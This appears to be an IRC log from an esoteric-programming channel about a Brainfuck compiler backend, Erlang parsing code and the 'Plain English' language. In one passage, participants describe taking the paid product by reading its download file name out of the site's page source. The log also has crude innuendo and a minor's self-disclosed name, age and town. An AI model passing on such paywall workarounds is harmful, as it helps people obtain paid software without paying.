just because it's easy, I may optimise that later 15:59:01 rewrite the stdio used in your libc 15:59:03 AnMaster: it's not particularly easy to optimise it out 15:59:05 to be bf sane 15:59:13 given that it might be in a different object file, or a library 15:59:32 ais523, you would know at link time. Store enough metadata to do LTO 15:59:48 possibly worth it for the future 15:59:53 ais523, also , user could give -fwhole-program 16:00:00 although atexit's pretty small, most of the bloat is because atexist brings in malloc 16:00:05 ais523, oh and I think -Os would be the sanest for gcc-bf 16:00:07 *atexit 16:00:11 AnMaster: agreed 16:00:18 good point, actually, that compile was with -O0 16:00:23 because I forgot to give an optimisation option 16:01:03 p[-42]+=255; 16:01:03 p[-37]=0; 16:01:03 p[-36]+=255; 16:01:03 p[-31]=0; 16:01:03 p[-30]+=255; 16:01:06 oh, but it'll hardly make a difference 16:01:06 and so on 16:01:09 that seems rather silly 16:01:10 as optimisation options don't affect libc 16:01:17 ais523, use an optimised libc 16:01:25 -Os for it too I mean 16:01:40 well, yes 16:01:43 I'm not sure what I use at the moment 16:01:45 probably -O2 16:02:09 p[-49]=p[-45]; 16:02:09 p[-8]+=p[-45]; 16:02:09 p[-45]=p[-8]; 16:02:10 hm 16:02:17 that could be optimised I think 16:02:25 except I can't really detect that reliably currently 16:02:28 AnMaster: incidentally, the p[-42]+=255, etc, is gcc initialising the stack 16:02:40 ais523, to -1 every other cell? 16:03:00 or, that depends on what current value is 16:03:03 no, it's wiping out the markers that state that there is a stack element there 16:03:07 I think it's probably changing 1 to 0 16:03:42 ais523, also it contained dead code 16:03:49 I found this due to it triggered a bug 16:03:56 a balanced loop containing a dead unbalanced one 16:04:04 caused an exception 16:04:09 fixed that now 16:04:32 I wonder what the dead loop is in the original ABI? 16:04:42 ais523, I have no idea *where* it was even 16:04:59 ais523, I don't track any sort of position information 16:05:55 to the degree that when parser hits mismatching [] it can only say that happened, but not where 16:06:18 ah, obviously I'm spoilt with bfrle 16:06:25 ais523, oh? 16:06:40 it gives pretty good errors 16:06:54 ais523, well, it dumps what I need to fix ICEs currently 16:06:58 which this was recorded as 16:06:58 things like a tape dump as soon as the IP is anywhere other than where gcc-bg thinks it is 16:07:04 *gcc-bf 16:07:25 and with columns marked so as to show what gcc-bf uses them for 16:07:34 it was due to balance=false cells_touched_dict_complete=true not being supposed to happen 16:08:26 -!- inurinternet has joined. 16:08:35 so I thought of possible reasons, wrote a small test case, which turned out (as expected) to trigger it, then I fixed it so the test case worked, and then gcc-bf also worked 16:08:36 err 16:08:47 s/gcc-bf/the gcc-bf program/ 16:09:42 at least gcc-bf looks like a simple practical way to generate the longest BF programs ever 16:09:49 I'm emulating an entire processor in there 16:09:59 and it has its own mini-OS 16:10:14 ais523, I don't know how large it is without RLE... The RLE encoding is smaller than lostking though 16:10:53 yes, but just imagine how large it would be if I used stdio 16:11:00 ais523: A *processor*. 16:11:01 Wow. 16:11:14 pikhq: it has a stack, a heap, and 64 registers 16:11:28 Imagine if you emulated libc via PSOX. 16:11:29 oh, and an instruction pointer 16:11:36 pikhq: I already emulate much of libc 16:11:41 even a filesystem 16:11:49 ... Shit. 16:11:53 although it's a kind of rubbish one, only marginally better than DOS 1's in some respect 16:11:55 That's impressive. 16:12:00 of course, this would all be more impressive if it actually worked 16:12:08 True. 16:12:53 ais523, anyway I have now added a parser module for it. And pushed. Note that 1) It can currently only be used manually from the erlang REPL, not from the shell script wrapper. 2) It throws and user_error exception on * with isn't followed by at least one digit. 16:13:42 "Invalid instruction to multiply.", "No integer found after *. ASCII ~B found.", "Integer expected but found EOF.", "Multiply not allowed without instruction in front." are possible errors for it 16:13:57 the last one happens for [* too 16:14:03 or you could just treat the * as a comment 16:14:17 otherwise, how could I get emacs to highlight .bfrle files in brainfuck-mode? 16:14:22 since the code is recursive and sees the same for [* and "start of file"* 16:14:52 ais523, well I asked you about format before, but if you changed your mind, sure. Just make an official spec first ;P 16:15:12 maybe once I get gcc-bf working 16:15:29 bitshifts and 32-bit loop are the main things I'm missing, I think 16:15:36 and a decently efficient multiply algorithm 16:15:50 I suspect I used the copout of addition in a loop, it's a while since I did that though so I can't rememebr 16:15:52 *remember 16:16:30 ais523, so would you say that * with no integer after is to be treated as comment? Does this apply when * is last in the file too? 16:16:44 I can't possibly handle the case of * after [ or at start of file as comment though 16:16:50 not without rewriting the parsing completely 16:16:59 (for those instructions) 16:17:04 AnMaster: * with no integer after treated as comment is likely to be good enough 16:17:14 ais523, but it must have something before 16:17:28 that's fine 16:17:42 ais523, and that something must not be a [ 16:18:24 again fine 16:18:30 although what crazy parsing method are you using? 16:18:42 ais523, what? 16:18:48 parse_binary(<<>>, Tree, 0) -> 16:18:48 {<<>>, lists:reverse(Tree)}; 16:18:48 parse_binary(<<>>, _Tree, _Depth) -> 16:18:48 ?THROW_USER_ERROR(unbalanced_loop); 16:18:54 parse_binary(<<$+ ,T/binary>>, Tree, Depth) -> 16:18:54 parse_binary(T, [#bfn{ ins = add, val = 1 }|Tree], Depth); 16:18:54 parse_binary(<<$- ,T/binary>>, Tree, Depth) -> 16:18:55 parse_binary(T, [#bfn{ ins = add, val = 255 }|Tree], Depth); 16:18:57 parse_binary(<<$> ,T/binary>>, Tree, Depth) -> 16:18:59 and so on 16:19:01 seems clear enough? 16:19:09 handles unknown one at the end and such 16:19:17 ais523, with me that far? 16:19:33 AnMaster: why can't it just treat unknown as comment, like every other bf interp does? 16:19:40 ais523, it does 16:19:44 parse_binary(<<_H,T/binary>>, Tree, Depth) -> 16:19:45 parse_binary(T, Tree, Depth). 16:19:46 like that 16:19:47 at the end 16:19:48 also, that's so much uglier than the equivalent Cyclexa 16:19:49 however for * 16:19:56 almost certainly, at least 16:19:57 parse_binary(<<$* ,_T/binary>>, [], _Depth) -> 16:19:57 ?THROW_USER_ERROR("Multiply not allowed without instruction in front."); 16:19:57 parse_binary(<<$* ,T/binary>>, Tree, Depth) -> 16:19:57 parse_integer(T, [], Tree, Depth); 16:20:01 I haven't specced out Cyclexa fully yet 16:20:08 parse_integer then calls parse_binary again 16:20:20 so they are mutually recursive 16:20:52 ais523, it is almost same code as the normal parser 16:21:05 ais523, apart from handling * 16:21:28 ah, ok 16:21:43 ais523, I didn't see any reason to change the code too much. 16:21:50 the traditional LR(1) method would be to look at the next char, if it's an integer than parse it as an integer, otherwise just pass it back to parse_binary 16:21:56 that prevents duplicating code 16:22:16 in fact, I think that works even in LR(0) 16:22:17 ais523, um? How do you mean 16:22:30 AnMaster: you said parse_integer and parse_binary had almost the same code 16:22:34 which implies they're mostly duplicates 16:22:46 no 16:22:49 you misunderstood 16:23:03 ah, ok 16:23:03 parse_binary is almost the same as for the normal BF parser 16:23:29 ais523, is this how you mean for integer parser then: http://rafb.net/p/u0xfRT89.html 16:23:47 also that to_integer failed should be THROW_ICE 16:23:48 typo 16:24:31 that looks about right 16:26:11 contains a few typos 16:26:12 * AnMaster fixes 16:27:08 -!- FireFly has joined. 16:28:31 hmm... latest update on the door situation: the main doors are broken and have been for over a week (and so are getting locked by hand), and the other doors are behaving themselves for once but security sometimes locks them by mistake 16:28:57 so the emergency door in the basement, the one that actually works, has now been set to let anyone leave, to prevent people getting accidentally locked in the department 16:28:59 still not properly fixed heh 16:29:46 ais523, and for full details of my parsing see: http://bzr.kuonet.org/in-between/trunk/annotate/head:/src/ib_load_file_gccbfrle.erl 16:30:19 ais523, checkout url is as usual http://rage.kuonet.org/~anmaster/bzr/in-between/trunk/ 16:30:31 (I think I mentioned it before right?) 16:30:40 probably 16:30:45 although I don't have an in-between repo 16:30:49 ok 16:31:04 ais523, probably needs Erlang R13B at least 16:31:27 might work with R12B though. But I haven't tested. And I don't have that installed anyway 16:32:09 and no I haven't yet had time to work more on the polynoms. 16:32:41 Polynom? 16:32:44 POLYNOMNOMNOM. 16:33:20 -!- kar8nga has joined. 16:33:35 pikhq, -_- 16:35:41 ais523, and no it won't work to run it directly on it 16:35:55 if you want to I can give you the manual commands for now 16:35:57 brb 16:37:13 -!- ehird has left (?). 16:37:23 -!- ehird has joined. 16:39:54 01:08 AnMaster: nooga, s/beer/water/ ← that's liable to make sweden even more boring for nooga 16:40:26 ehird: England will be next 16:40:41 -!- Corun has changed nick to Corun|away. 16:40:53 nooga: if you drop by hexham you're welcome not to visit me 16:40:59 *oh burn* 16:41:00 -!- Gracenotes has quit ("Leaving"). 16:41:04 okay 16:41:56 10:55 ais523: the second of which would convert either way round, depending on which argument it was given ← omg, prolog does bijective functions elegantly 16:42:00 probably you've met some of my uneducated fellow-countrymans 16:42:12 ehird: it's one of my favourite things about Prolog 16:42:17 and i'm affraid that's all for England 16:42:30 a function which doesn't biject properly, using the same code for both directions, is considered inelegant 16:42:39 yar 16:42:42 although in practice you have to write inelegant code quite a bit 16:42:42 ais523, so do you want those REPL commands or not? 16:42:50 AnMaster: not particularly 16:42:53 nooga: i don't think I've ever seen a pole except in passing 16:42:54 ok 16:43:52 ais523: gcc-bf links? omgwtf 16:44:02 ehird: isn't hexham that village near newcastle? 16:44:11 nooga: town 16:44:14 nooga: abbey town 16:44:20 we have (a) an abby, (b) a market 16:44:28 it's delightfully boring although apparently well-known 16:44:40 i guess if you like old crusty churches it's great 16:44:43 ok I'm going to construct something like lifthrasiir's expression class in erlang I guess 16:45:10 AnMaster: do you have any idea on expression canonicalization? 16:45:25 i'm not sure what the best stretagy is. 16:45:32 strategy* 16:45:33 lifthrasiir, not really currently. I'm just working on a small library to implement it 16:45:37 could be used like: 16:45:41 11:31 lifthrasiir: this is equivalent to W*x-Y*k = X; we can solve W*a-Y*b = gcd(W,Y) then, by extended euclidean algorithm. 16:45:42 11:31 AnMaster: you lost me about there. 16:45:44 ↑ oh come on that was rather trivial 16:45:50 ehird: i don't like churches, even though i'm polish ;p 16:46:05 poly:mul(poly:const(3), poly:cell(-2)) to create something meaning p[-2]*3; 16:46:09 bbl 16:46:14 -!- nooga has quit (Client Quit). 16:46:18 nooga: then the only thing you could do in Hexham is either come on the right day and look at the boring market and not visit a 13-year-old named elliott hird 16:46:19 lifthrasiir, does the API seem sane to you 16:46:30 ehird, he quit 16:46:41 i'm reading the bottom log pane 16:46:41 AnMaster: i'm not good at erlang so i cannot really say. ;) 16:46:47 which is only ~2.8 lines 16:46:49 while logreading 16:47:30 12:17 AnMaster: oerjan, "X is divisible by gcd(W,Y)" implies "resulting in an integer"? 16:47:30 *mind boggles* 16:47:50 err, wow 16:47:56 ehird, terminology fail 16:47:56 duh 16:48:01 latest news (as in today): Itanium will be delayed until 2010 16:48:03 AnMaster: no, basic mathematical knowledge fail 16:48:04 I'm not good at this in Englihsh. 16:48:17 ehird, "divisible by" would be "jämt delbart med" 16:48:18 I didn't realise Intel were still trying to work on it.... 16:48:19 AnMaster: would you know what it meant directly translated to swedish? 16:48:26 ais523: it's used in supercomputer clusters 16:48:32 but it's a bit of a dead horse 16:48:37 it's very much a dead horse 16:48:42 ehird, translated back to English it would be "evenly divisible by" 16:48:44 but you can imagine... replacing supercomputer clusters is ha rd 16:48:47 ehird, which is rather different 16:48:49 as you can see 16:48:51 incidentally, SCO blame IBM for intentionally sabotaging it 16:48:53 thus my confusion 16:48:59 ais523: what, itanium 16:48:59 ? 16:49:01 although I'm not entirely sure why, or why they thing this helps their case 16:49:02 ehird: yes 16:49:04 ehird, ... 16:49:06 ais523: lol wat 16:49:07 AnMaster: k 16:49:08 *think this helps 16:49:28 I gave up trying to understand SCO logic months ago 16:50:04 -!- BeholdMyGlory_ has joined. 16:50:26 in other news, i have decided to write a brainfuck-or-something interpreter in the excellent language Plain English. Slereah_ will be plased. 16:50:38 lifthrasiir, basic "units" you could consider as constant:Value and cell:Offset . These can be combined like (+ basic_unit basic_unit) 16:50:40 -!- BeholdMyGlory has quit (Read error: 60 (Operation timed out)). 16:50:48 lifthrasiir, except that these operations could be nested 16:50:49 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 16:50:57 so you have such an expression in the place of the basic unit 16:51:09 oh, I see: according to SCO, IBM created a market for Linux by refusing to advertise Itanium correctly, thus causing a big 64-bit UNIX partnership to fail 16:51:26 ais523, err... what 16:51:26 ais523: what 16:51:33 how does that follow in any universe :D 16:51:37 Itanium is Intel, not IBM 16:51:45 AnMaster: ... 16:51:52 AnMaster: read it a few more times. 16:51:53 let's just say, SCO logic does not make a whole lot of sense however you look at it 16:52:18 oh, and all this was a distraction to make SCO fall behind developing UnixWare 16:52:32 ehird, why would IBM advertise Itanium at all, They would be more interested in their own POWER Arch I think 16:52:37 ais523: someone has to diagnose them with some sort of mental illness and quickly 16:52:57 AnMaster: so that everyone switched to their brand-new version of 64-bit UNIX 16:53:06 ais523: http://esolangs.org/wiki/Apple3.14 ← can you delete this? even I think it's not worth keeping and I hate deleting things 16:53:08 heh 16:53:55 ooh, and that's how IBM managed to steal SCO's trade secrets and put them into Linux 16:54:06 ehird: I can, but it isn't obvious spam, so I suggest you start a delete debate on the talk page 16:54:19 LOL@ AnMaster not realising that [foo] doesn't infiniteloop atthe start of a program 16:54:32 ais523: in that case I'll just leave it, more trouble than it's worth 16:54:41 ehird, I certainly do. I already had an optimiser pass removing it for several days 16:54:46 that removed those 16:54:47 -!- Corun|away has quit ("Leaving..."). 16:54:49 AnMaster: dude, read the logs 16:54:51 ehird, was just a temp brain fart 16:54:58 right 16:54:59 still funny 16:55:00 ehird, you seem to imply I didn't know it before. 16:55:05 mmmnope 16:55:07 never said that 16:55:18 then I misinterpreted 16:55:47 ais523: LostKng has no comments because it's compiled code... 16:55:58 well, apart from the hand-added authorship info 16:56:08 ehird: the [-][.] at the start is rather curious 16:56:20 ais523: BFBASIC is a dumb compiler 16:56:31 I can't even think about how a compiler would begin to generate that 16:56:51 I mean, AnMaster points out -[-] in gcc-bf output, but that's simply a consequence of a switch case with no code in 16:57:09 12:52 AnMaster: lifthrasiir, what is the universal way. That reveal all the relevant instance data ← none, and this is by design 16:57:13 that's evil in any OO language 16:57:28 ais523, and I know there is other dead code in it. Just no idea where 16:57:31 ehird: for debugging? 16:57:39 13:44 AnMaster: when he gets back I have to point out that 16:57:39 13:44 AnMaster: [-*- brainfuck -*-] 16:57:39 also, I doubt it's evil in SmallTalk 16:57:40 ↑ how is that invalid? 16:57:40 ehird: inspection doesn't hurt encapsulation. inspection is very useful for debugging. 16:57:46 yes, for debugging 16:57:48 ehird, read 16:57:48 the 16:57:49 but not for anything else 16:57:49 ehird: I use * for run-length encoding 16:57:49 full 16:57:51 scrollback 16:57:54 before commenting 16:58:01 ehird, ^ 16:58:07 AnMaster: ok mr "it is so annoying when you use multiple lines to say things" 16:58:08 ehird, it has already been resolved 16:58:24 I occasionally use multiple lines to say something, but mostly due to pressing return by mistake 16:58:25 ehird, it spreads easily from you 16:58:42 AnMaster: yes, soon you'll absorb all of my behavior and use me as an excuse 16:58:44 yes, for debugging <-- and that was the purpose 16:58:51 -!- Hiato has joined. 16:58:54 'cept you're doing it far more often than I am, I haven't used multiple lines for about a week 16:58:56 haha: Microsoft attempted to patent the iPod's user interface 16:59:00 just before Apple tried 16:59:00 ais523: wat 16:59:03 as a result, neither of them succeeded 16:59:04 ais523, isn't that old? 16:59:10 yes, but I only just discovered it 16:59:14 and it is rather funny 16:59:15 ah 16:59:18 yeah it is 16:59:44 it seems that Apple got the patent, or a similar one, eventually, though 17:02:28 hm any better idea for a function called div that divides. div is a keyword in Erlang. To fit with a series of functions called add, sub, mul, mod 17:02:35 AnMaster: divide 17:02:40 along with add, subtract, multiply, modulo 17:02:43 crazy I know! 17:02:50 ehird, too verbose :P 17:02:51 but meh 17:03:19 finally my logreading is over 17:03:41 AnMaster: ugh, keywords 17:03:59 ais523, well I could quote it like 'div' and use that for a function name 17:04:04 but that would be fuggly 17:04:12 fugly* 17:04:24 AnMaster: do you have to do 17:04:25 2 add 2 17:04:27 instead of 17:04:27 2+2 17:04:29 in erlang? 17:04:34 ehird, no 17:04:40 then why is add a keyword 17:04:41 div is probably integer divide, like in basic 17:04:43 ehird, nor div usually. div is "integer division" 17:04:47 oh. 17:04:52 and add isn't a keyword, it's anmaster's function name 17:04:52 unlike / which results in floating point 17:04:55 yep 17:05:01 it was just div that collided 17:05:04 * ehird writes a brainfuck interpreter in Plain English >:) 17:05:21 thus proving the shittiest turing complete language yet 17:05:40 ehird, there is a real plain english programming language 17:05:44 I know. 17:05:47 I'm writing in that one. 17:05:49 The osmosian shitfest. 17:05:51 ehird, that really works 17:05:52 I mean 17:05:54 .. 17:05:55 not called plain English 17:05:58 I know you idiot. 17:06:01 ehird, IRP! 17:06:02 And it is called Plain English. 17:06:06 https://www.osmosian.com/ 17:06:09 ... 17:06:11 duh 17:06:15 you totally misunderstood me 17:06:21 Nope, you were vague. 17:06:24 Big difference. 17:06:55 " ehird, there is a real plain english programming language" <-- unlike that one you are talking about. If I had meant it I would have used "Plain English" not "plain english" 17:07:04 though it should have been "plain English" 17:07:05 actually 17:07:28 lifthrasiir, there still? 17:08:09 yes. 17:08:12 AnMaster: do you have any idea on expression canonicalization? <-- simply() would be the API I guess. Not sure about how to generate a representation for backend output 17:08:16 but still busy at work. 17:08:33 Some code is a string. To interpret some code: ... 17:08:55 lifthrasiir, I guess I could shell out to a CAS to simplify :P Like maxima 17:09:01 but that would be a horrible way 17:09:06 AnMaster: should just tree walking be sufficient? 17:09:13 (for backend output) 17:09:17 ais523: someone just claimed that +[+] is a BF infinite loop.. 17:09:18 . 17:09:21 maybe they mean bignums 17:09:37 lifthrasiir, probably, but I was going to make representation internal to the polynom module. 17:09:51 lifthrasiir, so maybe it needs a walk function that the backends call 17:09:53 "a string thing is a thing with a string." —the noodle 17:10:03 -!- BeholdMyGlory has quit (Remote closed the connection). 17:10:10 lifthrasiir, the internal representation would also contain stuff like dependencies 17:10:25 to simplify other analysis passes 17:11:35 actually esotope-bfc takes much time for recalculating the derived information (like referenced cells) again and again. 17:11:58 lifthrasiir, ah I store that when possible 17:12:02 that's only one room for improvement. (sigh) 17:12:05 [["If the government tells us as Chinese citizens we should not know about something and shouldn't be searching material, we should be responsible and obey," Hou said.]] 17:12:08 just* 17:12:20 lifthrasiir, I have plenty of TODO too 17:12:47 lifthrasiir, from some causal looking at generated outputs, bfc does better sometimes, and ib at other times. 17:12:51 AnMaster: since ComplexNode is derived from python builtin list, it cannot determine when those informations are invalidated. so it cannot cache them. 17:13:04 lifthrasiir, err? 17:13:08 why not 17:13:23 lifthrasiir, for me it is just a dict that is stored in the node metadata 17:13:24 AnMaster: well it is not impossible, but too much work. 17:13:27 sorry thunderstorm 17:13:30 shutting down 17:13:45 ;) 17:14:25 [[ if the rider's token is not "if", abort with "It's 'Decide IF.' We always say, 'Decide IF'. Got it?" and the rider; exit.]] 17:14:29 * ais523 vaguely wonders why a thunderstorm forces AnMaster to shut down 17:14:41 iirc python list has dozens of methods possibly can manipulate the list, or not. 17:15:21 even if we can track them, mutable object will be another source of pain 17:15:23 ais523: in case he loses data!11 17:17:53 -!- kar8nga has quit (Remote closed the connection). 17:21:20 hmm 17:21:28 i can't figure out how to get the first char of a string in plain english 17:21:53 ehird: "Plain English" as a programming language? 17:22:02 lifthrasiir: a truly awful one 17:22:04 https://www.osmosian.com/ 17:22:11 click What Our Customers Could Be Saying 17:22:12 rather amusing 17:22:22 they charge $100 for it but the file was on a URL unprotected 17:22:26 so heh 17:22:27 yes i know. i was just to decide what type it is. 17:22:41 lifthrasiir: it's serious, but terrible 17:22:48 it looks about as much like english as applescript 17:22:58 OH NOES APPLESCRIPT 17:23:08 here we go 17:23:10 [[ var calfilelocation="cal-3037.zip"; ]] 17:23:18 the purchase page requires a purchase before redirecting 17:23:24 but the upgrade page redirects clientside 17:23:24 :-) 17:23:31 wait, nope 17:23:34 filelocation=calfilelocation; 17:23:40 purchase does it too 17:27:51 [[to append a string to another string (handling email transparency):]] 17:27:56 ais523: do you have any idea wtf that means? 17:27:59 no 17:28:55 good, I don't either 17:30:34 -!- AnMaster has quit (Connection timed out). 17:31:42 [[ 17:31:42 to cluck: 17:31:44 play the cluck sound. 17:31:46 the cluck sound is a wave equal to $524946463A02000057415645666D74201200000001000100401F0000401F000001000800000066616374040000000702000064617461070200007F7F807F7F807F7F808080807F807F7F80817F81817E7E827E7D847C79877D5F6D99B2A25D608269A5979869667F7D8D738C7D8C5E7E878F767A75868D84797278829A7D7E857A73929271657492907D7E7D787E8B887C758388827E817F7C7B89897C7A7E84838183827E7A8488877D7E8181808484817C7F84838181807E7F8283807E8081808182807F7F81818081807F7F808181808080 17:31:51 7F7F808180807F80808080807F8080807F8080808080807F7F7F7F7F8080807F7F7F7C7B8182817C7B7D7E8082807D7D7C7F8281807F7C7D808082807E7E7E7D7E807D7B7C7B7D7D7B7A7979797875727269797A490F4571FFF4FF0C001297FBF492525BB0F5B26A001C69BEE5BA76476F9EBD953C3757BAC9BB705C7F9AA883645D7897AA9B806977959588696976999B83766F828C907F7375828E91877B757D868B837A757C858D8880787B8187847B7A7D8788807B79808486817D7C7F8384817D7C7F8484817B7B7D83847F7C7B7E8182827D7C7C8082817D7C7D7F81807F7D7D7F82 17:31:56 817F7B7B7E8081807E7D7D7F80807E7D7D7E80807E7D7D7E7F807F7D7D7E7F807F7E7D7E7E80807F7E7D7E80807F7E7E7E7F7F7E7E7E7F7F7F7F7E7E7F7F807F7F7E7E7E7F8080807E7E7E80807F7E7E7F8081807F7F7E7F7F80807F7E7F8081807F7E7E7E80808080807F807F7F7F7F7F7F7F80808080807F7F7F808080807F80808180807F80808100. 17:32:00 ]] 17:32:02 that's in the standard goddamn library 17:32:04 i mean WHUT 17:40:49 oh boy 17:40:54 they use "say" for return 17:43:21 Routines of this kind are called "deciders", and they 17:43:21 always start with the words TO DECIDE IF. If you've had the misfortune of 17:43:22 programming in a less natural language, and you can't help yourself, you can 17:43:24 think of deciders as boolean functions. 17:47:33 cluck.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 8 bit, mono 8000 Hz. Well, I guess the 52494646 and 57415645 parts were quite a giveaway. 17:47:55 Hahah. 17:47:56 fizzie: Yes, but 17:48:06 What a stupid thing to have in (a) the standard library, (b) as a literal 17:48:07 :P 17:48:11 fizzie: what does it sound like? 17:48:25 oh the cluck sound? 17:48:26 from the editor 17:48:28 that thign is annoying 17:48:47 I don't know what it is; it sounds like http://zem.fi/~fis/cluck.wav 17:48:48 So far: 17:48:50 Some code is a string. 17:48:50 17:48:51 To interpret some code: 17:48:53 If the code's first target is the plus byte, exit. 17:48:55 17:48:57 To run: 17:48:59 Interpret ",[.,]". 17:49:02 fizzie: yep that's the cluck sound from the editor 17:49:26 Hrm. 17:49:48 Annoyingly, Plain English uses manual memory management... EXCEPT for strings. 17:49:56 So I might represent the tape as a string 18:22:56 wow 18:22:59 there's an msn-owned site 18:23:00 -!- tombom has quit ("Peace and Protection 4.22.2"). 18:23:03 advocating an illegal windows-based product 18:31:19 wow again, there's an Itanium windows xp 18:32:33 Why, yes. Windows decided once again to support another architecture. 18:32:37 Poorly. :p 18:33:57 heh 18:34:31 apparently Linus used to claim that Linux was unlikely to be supported on anything but the 386, as he'd written it in order to learn the weird corner cases of 386 assembly 18:34:33 -!- Corun has joined. 18:34:59 Yes, and it got a lot of reworking to support a second architecture. 18:35:07 From there, it wasn't too hard to port. ;) 18:35:45 Hmm. I wonder why one would run Windows on Itanium, though. 18:36:02 It loses the main benefit of Windows; namely, your already-obtained programs work. 18:37:09 pikhq: ENTERPRISE SERVER DEPLOYMENTS 18:37:47 ehird: Make that "programs you wish to run work". 18:38:11 It's not windows therefore it is not suitable for enterprise deployment 18:38:12 QED 18:38:12 I highly doubt that anything Windows-only works on Itanium, aside from its x86 emulation stuff. 18:38:16 Therefore we must use Windows 18:38:25 Ah, right. That mindset. 18:38:35 The one that doesn't care that it's dumb. 18:41:53 pikhq: Also, existing programs arguably aren't a good reason to use Windows any more: Parallels Desktop for the Mac, for instance, can run Windows programs *under the OS X windowing system*. 18:42:06 Ah, right. 18:42:16 So apart from the whole god-Windows-programs-are-ugly thing, and it being a little slower than regular, you don't need to use Windows to use Windows programs perfectly. 18:42:27 Virtual Box does the same on Linux. 18:42:48 Poorly P 18:42:49 *:P 18:42:49 and you can get virtualised Win XP with the more expensive versions of Win 7 18:42:53 pikhq: Does it, thoug? 18:42:54 h 18:42:59 Doesn't it put everything in one window? 18:43:17 ehird: Yup, it's just a window with holes in it. 18:43:19 ehird: It's started doing a seamless desktop mode. 18:43:28 pikhq: But that's just one window with holes in it. 18:43:31 I'm sure Oracle will fix that X-P 18:43:32 GregorR-L: Window with holes... isn't that what we're talking about? 18:43:37 ;-))))) 18:43:39 Geddit 18:43:40 -!- kar8nga has joined. 18:43:41 I made a joke about windows 18:43:44 That's funny, see. 18:43:46 OMGLOL 18:43:57 IF YOU DECREE THAT IT'S FUNNY THEN IT IS 18:43:58 GregorR-L: ORLY? 18:44:02 Anyways. 18:44:07 ORALLY? 18:44:26 Mind you, it still looks nifty for 1/4 of a second, which is why that feature exists. 18:44:45 Parallels integrates quite a bit further, anyway - total filesystem mapping, OS X programs as Windows ones and vise-veras, etc. 18:44:50 Seems that VirtualBox is working on improving that feature. 18:44:52 (Windows go in the taskbar, ...) 18:44:58 Er, dock. 18:45:16 And 3D stuff, too. 18:45:27 Yeah. You don't want to run a modern game on it, though. 18:45:46 I don't want to run a modern game on my system, anyways. 18:45:46 :p 18:45:57 pikhq: I mean anything after 1999. 18:46:20 ... 18:46:34 * ehird puts Opera on the Windows VM; Firefox is a bit too much for it. 18:46:36 Even with it using the recent virtualisation stuff? 18:46:45 pikhq: Well, maybe. 18:46:51 It's still not nearly as fast as a native thingy. 18:46:56 Runs W:A just fine, though. 18:47:14 So, Parallels doesn't compare too well to Xen. :p 18:47:42 pikhq: Xen isn't a nicely-integrated desktop interface to Windows. 18:47:45 (granted, anything IO-based in Xen is fucked, and Xen doesn't do 3d...) 18:48:15 Yeah, Xen is just crazy-good virtualisation. ... And not much else. 18:48:46 * ehird reads about how sand is turned into silicon for semiconductor chips by making it visit the sauna. 18:49:06 (It's true enough.) 18:52:01 It's a miracle chips actually work. 18:55:35 -!- Sgeo has joined. 19:11:54 -!- oerjan has joined. 19:14:51 -!- Corun has changed nick to Corun|away. 19:14:52 07:14:42 oerjan, removing dead loops happen way later than parsing 19:14:52 07:14:59 >_< 19:15:09 ok forget that, i managed to read that exactly backwards :D 19:15:17 I usually read dead loops before parsing. 19:15:22 s/read/remove/ >_O 19:15:51 oh AnMaster is not here 19:15:53 how rude 19:17:18 [-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[- <-- this looks really strange 19:17:37 actually that's a perfectly reasonable way to translate a switch/case statement... 19:18:50 * oerjan realizes the <-- convention doesn't look good when requoted 19:18:57 :P 19:19:06 * GregorR-L got it 19:19:37 Also, I have a lap kitty. 19:20:11 i could have added another at the end, but copying from the logs tends to include the final newline for me, even when i don't want it :( 19:20:40 laptop kitty? 19:21:06 as long as it isn't a laptoptop kitty 19:21:08 Well, she's more "in" my lap than "on" my lap :P 19:21:32 hot 19:21:53 Yeah, I've got a pussy between my legs. 19:23:04 -!- Corun|away has changed nick to Corun. 19:23:35 Corun: the categorical dual of a run 19:35:50 08:21:50 the traditional LR(1) method would be to look at the next char, if it's an integer than parse it as an integer, otherwise just pass it back to parse_binary 19:36:16 technically treating +* as + then * if not followed by an integer is at least LR(2) 19:36:33 oerjan: except I treat +* as +, then * as "repeat last command more times" 19:36:39 that would break on *0, but not otherwise 19:36:51 and I think leaves the grammar LR(0) 19:36:53 or maybe LL(1) 19:36:56 ais523: that's not context-free 19:36:56 is it? 19:37:04 * depends on its previous command for context 19:37:07 in that form 19:37:12 yes, but it depends only on previous 19:37:15 so no lookahead is needed 19:37:25 ehird: that's not enough for non-context-free 19:37:32 hmmmmmmmmm 19:38:07 of course an elegant workaround is to say * without following integer = *1 19:38:16 same effect 19:38:34 -!- Corun has changed nick to Corun|away. 19:38:37 that's elegant? 19:38:53 * oerjan swats ehird in an elegant way -----### 19:39:02 ok, *kludgy* then 19:39:49 elegant, kludgy, what's the difference. 19:40:12 precisely 19:40:27 precisely nil! 19:40:50 http://www.underfoule.net/b/src/124300263346.jpg 19:40:50 Well hello there sexy mama 19:42:07 Slereah_: SICP? What a useless piece of shit; haven't they ever heard of Plain English? 19:42:11 I'm part of the Osmosian order you know! 19:43:22 Is there a loyalty oath? 19:43:45 No, we're just enlightened. 19:44:21 I wonder what that guy does in life 19:44:24 Slereah_: they have to go around carrying lamps all the time 19:44:28 Is he trying to sell his product? 19:44:35 The Grand Negus said on 01/11/07 23:29:22 19:44:35 By the way, the Plain English Compiler is written entirely in Plain English and can recompile itself - with all of its development tools - in less than 3 seconds on a bottom-of-the-line Dell. 19:44:38 He is a grand negro or something 19:44:56 Slereah_: [[Adam R: Write me (help@osmosian.com) and I'll show you how Plain English can recompile itself. No cost or obligation. It's not quite like writing PHP5 in PHP5; it's like writing PHP5 using PHP4. ]] 19:45:03 Helping people without getting money??!?!! 19:45:05 if he was a negro, wouldn't he using Plain Ebonics? 19:45:11 Zing! 19:45:15 Plain English is a language, right? 19:45:20 which looks a lot like real english? 19:45:22 oerjan: he's hooked on phonics 19:45:27 ais523: for some values of a lot 19:45:30 and it costs $100 19:45:35 and their site says that bill gates is sad he didn't come up with it 19:45:38 chomsky too for some reason 19:45:39 and k&r 19:45:39 etc 19:45:44 except they use JS 19:45:49 so you can just pilfer the download URL out of the page source. 19:45:56 ok, that's rather ridiculous 19:46:09 Only the tip of the iceberg, ais523 19:46:11 ais523: the manual also sexually harasses you 19:46:15 and keeps calling windows/intel a whore and a kludge 19:46:23 and has its own terrible handwriting-esque font 19:46:28 also, their website is all gifs with holes for form fields 19:46:32 so, 